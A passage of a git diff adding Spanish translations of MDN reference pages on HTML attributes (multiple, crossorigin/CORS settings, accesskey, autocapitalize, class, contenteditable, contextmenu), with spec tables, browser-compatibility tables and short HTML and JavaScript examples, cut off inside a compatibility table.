+&lt;p&gt;
+ &lt;label for="favoriteOnly"&gt;Selecciona tu favorito:&lt;/label&gt;
+  &lt;select name="favoriteOnly" id="favoriteOnly"&gt;
+    &lt;option&gt;gruñón@woodworkers.com&lt;/option&gt;
+    &lt;option&gt;feliz@woodworkers.com&lt;/option&gt;
+    &lt;option&gt;dormilón@woodworkers.com&lt;/option&gt;
+    &lt;option&gt;tímido@woodworkers.com&lt;/option&gt;
+    &lt;option&gt;estornudo@woodworkers.com&lt;/option&gt;
+    &lt;option&gt;tontín@woodworkers.com&lt;/option&gt;
+    &lt;option&gt;doc@woodworkers.com&lt;/option&gt;
+  &lt;/select&gt;
+&lt;/p&gt;
+&lt;p&gt;
+  &lt;input type="submit" value="Enviar"&gt;
+&lt;/p&gt;
+&lt;/form&gt;</pre>
+
+<p>{{EmbedLiveSample("select", 600, 120) }}</p>
+
+<p>Ten en cuenta la diferencia de apariencia entre los dos controles de formulario.</p>
+
+<pre class="brush: css notranslate">/* descomenta este CSS para que el multiple tenga la misma altura que single */
+
+/*
+select[multiple] {
+  height: 1.5em;
+  vertical-align: top;
+}
+select[multiple]:focus,
+select[multiple]:active {
+  height: auto;
+}
+*/</pre>
+
+<p>Hay varias formas de seleccionar varias opciones en un elemento <code>&lt;select&gt;</code> con un atributo {{HTMLAttrxRef("multiple", "input")}}. Dependiendo del sistema operativo, los usuarios del ratón pueden mantener presionadas las teclas <kbd>Ctrl</kbd>, <kbd>Comando</kbd> o <kbd>Mayús</kbd> y luego hacer clic en varias opciones para seleccionarlas o deseleccionarlas. Los usuarios de teclado pueden seleccionar varios elementos contiguos centrándose en el elemento <code>&lt;select&gt;</code>, seleccionando un elemento en la parte superior o inferior del rango que desean seleccionar usando <kbd>Arriba</kbd> y <kbd>Teclas del cursor hacia abajo</kbd> para subir y bajar las opciones. La selección de elementos no contiguos no es tan compatible: los elementos se deben poder seleccionar y deseleccionar presionando <kbd>Espacio</kbd>, pero el soporte varía entre los navegadores.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'input.html#attr-input-multiple', 'Atributo multiple')}}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'input.html#attr-input-multiple', 'Atributo multiple')}}</td>
+   <td>{{ Spec2('HTML5 W3C') }}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Problemas_de_accesibilidad">Problemas de accesibilidad</h2>
+
+<p>Proporciona instrucciones para ayudar a los usuarios a comprender cómo completar el formulario y utilizar controles de formulario individuales. Indica cualquier entrada requerida y opcional, formatos de datos y otra información relevante. Cuando utilices el atributo {{HTMLAttrxRef("multiple", "input")}}, informa al usuario que se permiten múltiples valores y proporciona instrucciones sobre cómo proveer más valores, como "direcciones de correo electrónico separadas con una coma".</p>
+
+<p>Configurar {{web.link("/es/docs/Web/HTML/Attributes/size", "size")}}<code>="1"</code> en una selección múltiple puedes hacer que aparezca como una única selección en algunos navegadores, pero luego no se expande en el enfoque, lo que perjudica la usabilidad. No hagas eso. Si cambias la apariencia de un <code>select</code>, e incluso si no lo haces, asegúrate de informar al usuario que se puede seleccionar más de una opción mediante otro método.</p>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li>{{HTMLElement('input')}}</li>
+ <li>{{htmlelement('select')}}</li>
+ <li>{{web.link("/es/docs/Web/HTML/Element/input/email#Allowing_multiple_e-mail_addresses", "Permitir varias direcciones de correo electrónico")}}</li>
+</ul>
diff --git a/files/es/web/html/atributos_de_configuracion_cors/index.html b/files/es/web/html/atributos_de_configuracion_cors/index.html
new file mode 100644
index 0000000000..f7453daa96
--- /dev/null
+++ b/files/es/web/html/atributos_de_configuracion_cors/index.html
@@ -0,0 +1,123 @@
+---
+title: Atributos de configuración CORS
+slug: Web/HTML/Atributos_de_configuracion_CORS
+translation_of: Web/HTML/Attributes/crossorigin
+---
+<p><span class="seoSummary">En HTML5, algunos elementos HTML que dan soporte para <a href="/en-US/docs/HTTP/Access_control_CORS">CORS</a>, tales como {{ HTMLElement("img") }} o {{ HTMLElement("video") }}, tienen un atributo <code>crossorigin</code>  (propiedad <code>crossOrigin</code>), que les permite configurar las peticiones CORS de los datos que se cargan.</span> Estos atributos están enumerados, y tienen los siguientes valores posibles:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Palabra clave</td>
+   <td class="header">Descripción</td>
+  </tr>
+  <tr>
+   <td><code>anonymous</code></td>
+   <td>CORS, las solicitudes de este elemento no tendrán establecido el indicador de credenciales.</td>
+  </tr>
+  <tr>
+   <td><code>use-credentials</code></td>
+   <td>CORS, las solicitudes de este elemento tendrán marcado el indicador de credenciales; esto significa que la solicitud proporcionará credenciales.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Por defecto, es decir cuando el atributo no es específicado, CORS no se usa. La palabra clave "anonymous" indica que no habrá intercambio de credenciales de usuario a través de las cookies, ni por parte del cliente con certificados SSL o autenticación HTTP como se describe en la sección de terminología de la especificación CORS.</p>
+
+<p>Una clave inválida y un string vacío serán gestionados como  una clave anónima.</p>
+
+<p>Especificaciones</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'infrastructure.html#cors-settings-attributes', 'CORS settings attributes')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'embedded-content.html#attr-img-crossorigin', 'crossorigin')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>13</td>
+   <td>{{ CompatGeckoDesktop("8.0") }}</td>
+   <td>11</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("video")}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop("12.0") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("8.0") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("video")}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("12.0") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/En/HTTP_access_control" title="en/HTTP access control">HTTP access control</a></li>
+</ul>
diff --git a/files/es/web/html/atributos_globales/accesskey/index.html b/files/es/web/html/atributos_globales/accesskey/index.html
new file mode 100644
index 0000000000..cb8bbcc16c
--- /dev/null
+++ b/files/es/web/html/atributos_globales/accesskey/index.html
@@ -0,0 +1,143 @@
+---
+title: accesskey
+slug: Web/HTML/Atributos_Globales/accesskey
+tags:
+  - Atributos globales
+  - HTML
+  - Referencia
+translation_of: Web/HTML/Global_attributes/accesskey
+---
+<p>{{HTMLSidebar("Global_attributes")}}</p>
+
+<p>El <a href="/es/docs/Web/HTML/Atributos_Globales">atributo global </a> <strong>accesskey</strong> provee un indicio para generar un atajo de teclado para el elemento actual . Este atributo consiste en una lista de caracteres separada por espacios (un único punto de código Unicode). El explorador usa el primero que existe en la distribución del teclado de la computadora .</p>
+
+<p>La operación para activar el accesskey depende del explorador y su plataforma .</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th> </th>
+   <th>Windows</th>
+   <th>Linux</th>
+   <th>Mac</th>
+  </tr>
+  <tr>
+   <th>Firefox</th>
+   <td colspan="2" rowspan="1"><kbd>Alt</kbd> + <kbd>Shift</kbd> + <kbd><em>tecla</em></kbd></td>
+   <td>En Firefox 14 o posteriores, <kbd>Control</kbd> + <kbd>Alt</kbd> + <kbd><em>tecla</em></kbd><br>
+    En Firefox 13 o anteriores, <kbd>Control</kbd> + <kbd><em>tecla</em></kbd></td>
+  </tr>
+  <tr>
+   <th>Internet Explorer</th>
+   <td><kbd>Alt</kbd> + <kbd><em>tecla</em></kbd></td>
+   <td colspan="2" rowspan="1">N/A</td>
+  </tr>
+  <tr>
+   <th>Google Chrome</th>
+   <td colspan="2" rowspan="1" style="text-align: center;"><kbd>Alt</kbd> + <kbd><em>tecla</em></kbd></td>
+   <td><kbd>Control</kbd> + <kbd>Alt</kbd> + <kbd><em>tecla</em></kbd></td>
+  </tr>
+  <tr>
+   <th>Safari</th>
+   <td><kbd>Alt</kbd> + <kbd><em>tecla</em></kbd></td>
+   <td>N/A</td>
+   <td><kbd>Control</kbd> + <kbd>Alt</kbd> + <kbd><em>tecla</em></kbd></td>
+  </tr>
+  <tr>
+   <th>Opera</th>
+   <td colspan="3" rowspan="1"><kbd>Shift</kbd> + <kbd>Esc</kbd> abre una lista de contenidos , los cuales son accesibles a través de accesskey , después se puede elegir un item presionando  <kbd><em>tecla</em></kbd></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Notar que Firefox puede  personalizar la tecla de modificación requerida por  las preferencias del usuario .</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "interaction.html#the-accesskey-attribute", "accesskey")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Sin cambio desde el útlimo snapshot  {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "editing.html#the-accesskey-attribute", "accesskey")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot  de {{SpecName('HTML WHATWG')}}, sin cambio desde {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "editing.html#the-accesskey-attribute", "accesskey")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot de  {{SpecName('HTML WHATWG')}}. De {{SpecName('HTML4.01')}},  varios caracteres pueden se pueden establecer como el accesskey . Tambien puede establecerse sobre cualquier elemento.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', "interact/forms.html#h-17.11.2", "accesskey")}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Solo soportado en {{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("button") }}, {{ HTMLElement("input") }}, {{ HTMLElement("label") }}, {{ HTMLElement("legend") }} y {{ HTMLElement("textarea") }}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_exploradores">Compatibilidad con exploradores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracterísitica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li> <a href="/es/docs/Web/HTML/Atributos_Globales">atributos globales</a></li>
+</ul>
diff --git a/files/es/web/html/atributos_globales/autocapitalize/index.html b/files/es/web/html/atributos_globales/autocapitalize/index.html
new file mode 100644
index 0000000000..d1f8fc446c
--- /dev/null
+++ b/files/es/web/html/atributos_globales/autocapitalize/index.html
@@ -0,0 +1,50 @@
+---
+title: autocapitalización
+slug: Web/HTML/Atributos_Globales/autocapitalize
+tags:
+  - Atributos globales
+  - HTML
+  - Reference
+  - Referencia
+  - autocapitalización
+translation_of: Web/HTML/Global_attributes/autocapitalize
+---
+<p>{{HTMLSidebar("Global_attributes")}}</p>
+
+<p><span class="seoSummary">El {{web.link("/es/docs/Web/HTML/Global_attributes", "atributo global")}} {{HTMLAttrxRef("autocapitalize", "input")}} es un atributo enumerado que controla si la entrada de texto se escribe en mayúsculas automáticamente a medida que el usuario la introduce/edita.</span> El atributo debe tomar uno de los siguientes valores:</p>
+
+<ul>
+ <li><code>off</code> o <code>none</code>, no se aplica capitalización automática (todas las letras están predeterminadas en minúsculas)</li>
+ <li><code>on</code> o <code>sentences</code>, la primera letra de cada oración de manera predeterminada tiene una letra mayúscula; todas las demás letras están predeterminadas en minúsculas</li>
+ <li><code>words</code>, la primera letra de cada palabra de manera predeterminada tiene una letra mayúscula; todas las demás letras están predeterminadas en minúsculas</li>
+ <li><code>characters</code>, todas las letras de manera predeterminada deben estar en mayúsculas</li>
+</ul>
+
+<p>El atributo {{HTMLAttrDef("autocapitalize")}} no afecta el comportamiento al escribir en un teclado físico. En cambio, afecta el comportamiento de otros mecanismos de entrada, como teclados virtuales en dispositivos móviles y entrada de voz. El comportamiento de tales mecanismos es que a menudo ayudan a los usuarios escribiendo en mayúscula automáticamente la primera letra de las oraciones. El atributo {{HTMLAttrDef("autocapitalize")}} permite a los autores redefinir ese comportamiento por elemento.</p>
+
+<p>El atributo {{HTMLAttrDef("autocapitalize")}} nunca hace que se habilite la autocapitalización para un elemento {{HTMLElement("input")}} con un atributo {{HTMLAttrxRef("type", "input")}} cuyo valor es {{HTMLAttrDef("url")}}, {{HTMLAttrDef("email")}} o {{HTMLAttrDef("password")}}.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "interaction.html#autocapitalization", "autocapitalize")}}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si deseas contribuir con los datos, consulta <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos una solicitud de extracción.</div>
+
+<p>{{Compat("html.global_attributes.autocapitalize")}}</p>
diff --git a/files/es/web/html/atributos_globales/class/index.html b/files/es/web/html/atributos_globales/class/index.html
new file mode 100644
index 0000000000..ba82c66e65
--- /dev/null
+++ b/files/es/web/html/atributos_globales/class/index.html
@@ -0,0 +1,105 @@
+---
+title: class
+slug: Web/HTML/Atributos_Globales/class
+tags:
+  - Atributos globales
+  - HTML
+  - Referencia
+translation_of: Web/HTML/Global_attributes/class
+---
+<p>{{HTMLSidebar("Global_attributes")}}<br>
+ El <a href="/es/docs/Web/HTML/Atributos_Globales">atributo global </a><strong>class</strong> es una lista de las clases del elemento separada por espacios . Las clases permiten a CSS y Javascript seleccionar y acceder a elementos específicos a través de los <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Class_selectors">selectores de clase</a> o funciones como el método {{domxref("document.getElementsByClassName")}} del DOM.</p>
+
+<p>Aunque la especificación no define los requerimientos para el nombre de las clases , se alienta a los desarrolladores web a usar nombres que describan el propósito semántico del elemento, en lugar de la presentación del elemento (e.g., <em>atributo </em>para describir un atributo en lugar de <em>itálica, </em>aunque un elemento de esta clase puesde ser presentado por <em>itálica</em>). Los nombres semanticos permanecen lógicos incluso si la presentación de la página cambia .</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "elements.html#classes", "class")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Sin cambio desde el último snapshot, {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "elements.html#classes", "class")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot de {{SpecName('HTML WHATWG')}}, sin cambio desde {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "elements.html#classes", "class")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot de {{SpecName('HTML WHATWG')}}. Desde {{SpecName('HTML4.01')}}, <code>class</code> es ahora un verdadero atributo global .</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', "struct/global.html#h-7.5.2", "class")}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Soportado en todos los elementos pero {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("param")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}}, y {{HTMLElement("title")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_exploradores">Compatibilidad en exploradores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracterísitica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }} [1]</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracterísitca</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }} [1]</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] <strong>class</strong> es un atributo global verdadero solo desde Firefox 32.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/HTML/Atributos_Globales">atributos globales</a></li>
+</ul>
diff --git a/files/es/web/html/atributos_globales/contenteditable/index.html b/files/es/web/html/atributos_globales/contenteditable/index.html
new file mode 100644
index 0000000000..9db8119af2
--- /dev/null
+++ b/files/es/web/html/atributos_globales/contenteditable/index.html
@@ -0,0 +1,107 @@
+---
+title: contenteditable
+slug: Web/HTML/Atributos_Globales/contenteditable
+tags:
+  - Atributos globales
+  - HTM
+  - Referencia
+translation_of: Web/HTML/Global_attributes/contenteditable
+---
+<p class="note">{{HTMLSidebar("Global_attributes")}}</p>
+
+<p>El <a href="/es/docs/Web/HTML/Atributos_Globales">atributo global</a>  <strong>contenteditable</strong> es un atributo enumerado que indica si el elemento debe de ser editable por el usuario . Si es así, el explorador modifca su widget para permitir la edición . El atributo debe de tener alguno de los siguientes valores :</p>
+
+<ul>
+ <li><span><code>true</code> </span> o una string vacia , que indica que el elemento debe de ser editable .</li>
+ <li><span><code>false</code> </span> , que indica que el elemento no debe ser editable.</li>
+</ul>
+
+<p>Si este atributo no se establece , el valor de default es <em>heredado  </em>de su elemento padre .</p>
+
+<p>Este es un atributo enumerado y no uno <em>booleano .</em> Esto significa que el uso explicito de uno de los valores <code>true , false </code>o la cadena vacía es obligatorio y que una código como <code>&lt;label contenteditable&gt;Example Label&lt;/label&gt;</code> no esta permitido . El uso correcto es <code>&lt;label contenteditable="true"&gt;Example Label&lt;/label&gt;</code>.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "editing.html#attr-contenteditable", "contenteditable")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Sin cambio desde el último snapshot, {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "editing.html#attr-contenteditable", "contenteditable")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot de  {{SpecName('HTML WHATWG')}}, sin cambio desde {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "editing.html#attr-contenteditable", "contenteditable")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot de {{SpecName('HTML WHATWG')}}, definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatiblidad_en_exploradores">Compatiblidad en exploradores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracterísitica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop("1.9") }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracterísitica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("1.9") }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li> <a href="/es/docs/Web/HTML/Atributos_Globales">atributos globales</a></li>
+ <li>{{domxref("HTMLElement.contentEditable")}} and {{domxref("HTMLElement.isContentEditable")}}</li>
+</ul>
diff --git a/files/es/web/html/atributos_globales/contextmenu/index.html b/files/es/web/html/atributos_globales/contextmenu/index.html
new file mode 100644
index 0000000000..9cc32f7ace
--- /dev/null
+++ b/files/es/web/html/atributos_globales/contextmenu/index.html
@@ -0,0 +1,139 @@
+---
+title: contextmenu
+slug: Web/HTML/Atributos_Globales/contextmenu
+tags:
+  - Atributos globales
+  - HTML
+  - Referencia
+translation_of: Web/HTML/Global_attributes/contextmenu
+---
+<p>{{HTMLSidebar("Global_attributes")}}</p>
+
+<p>El <a href="/es/docs/Web/HTML/Atributos_Globales">atributo global</a>  <strong>contextmenu </strong>es el  <a href="/es/docs/Web/HTML/Atributos_Globales/id"><strong>id</strong></a> de un  {{HTMLElement("menu")}} para nosotros como el menu contextual para este elemento .</p>
+
+<p>Un <em>menu contextual  </em>es un menu que aparece sobre la interacción del usuario , como por ejemplo un click derecho . HTML5 ahora permite modificar este menú . Aquí hay unos ejemplos de implementación , incluyendo menús anidados .</p>
+
+<div id="ContextMenu_Example">
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p> </p>
+
+<pre class="brush:html; highlight:[1,10,15]">&lt;body contextmenu="share"&gt;
+  &lt;menu type="context" id="share"&gt;
+    &lt;menu label="share"&gt;
+      &lt;menuitem label="Twitter" onclick="window.open('https://twitter.com/intent/tweet?text=Hurra! Estos aprendiendo sobre ContextMenuI en MDN a través de Mozilla ');"&gt;&lt;/menuitem&gt;
+      &lt;menuitem label="Facebook" onclick="window.open('https://facebook.com/sharer/sharer.php?u=https://https://developer.mozilla.org/en/HTML/Element/Using_HTML_context_menus');"&gt;&lt;/menuitem&gt;
+    &lt;/menu&gt;
+  &lt;/menu&gt;
+  &lt;ol&gt;
+    &lt;li&gt;En cualquier parte del ejemplo puedes compartir la página en twitter y Facebook usando el menú de compartir de tu menú contextual.&lt;/li&gt;
+    &lt;li&gt;&lt;pre contextmenu="changeFont" id="fontSizing"&gt;En este elemento específico de la lista , puedes cambiar el tamaño del texto usando  las acciones "Incremenrar/Decrementar" de tu menú contextual ./pre&gt;&lt;/li&gt;
+    &lt;menu type="context" id="changeFont"&gt;
+      &lt;menuitem label="Increase Font" onclick="incFont()"&gt;&lt;/menuitem&gt;
+      &lt;menuitem label="Decrease Font" onclick="decFont()"&gt;&lt;/menuitem&gt;
+    &lt;/menu&gt;
+    &lt;li contextmenu="ChangeImage" id="changeImage"&gt;En la imagen de abajo , puedes accionar la accion "Cambio de Imagen " en tu menú contextual .&lt;/li&gt;&lt;br /&gt;
+    &lt;img src="https://developer.mozilla.org/media/img/promote/promobutton_mdn5.png" contextmenu="ChangeImage" id="promoButton" /&gt;
+    &lt;menu type="context" id="ChangeImage"&gt;
+      &lt;menuitem label="Change Image" onclick="changeImage()"&gt;&lt;/menuitem&gt;
+    &lt;/menu&gt;
+  &lt;/ol&gt;
+&lt;/body&gt;
+</pre>
+
+<p>en conjunto con este Javascript</p>
+
+<pre class="brush:js">function incFont(){
+  document.getElementById("fontSizing").style.fontSize="larger";
+}
+function decFont(){
+  document.getElementById("fontSizing").style.fontSize="smaller";
+}
+function changeImage(){
+  var j = Math.ceil((Math.random()*39)+1);
+  document.images[0].src="https://developer.mozilla.org/media/img/promote/promobutton_mdn" + j + ".png";
+}</pre>
+
+<p>resulta en :</p>
+
+<div>{{EmbedLiveSample("ContextMenu_Example",550,200)}}</div>
+</div>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "forms.html#attr-contextmenu", "contextmenu")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Sin cambio desde el último snapshot, {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "interactive-elements.html#context-menus", "contextmenu")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot de {{SpecName('HTML WHATWG')}}, definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_exploradores">Compatibilidad en exploradores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracterísitica</th>
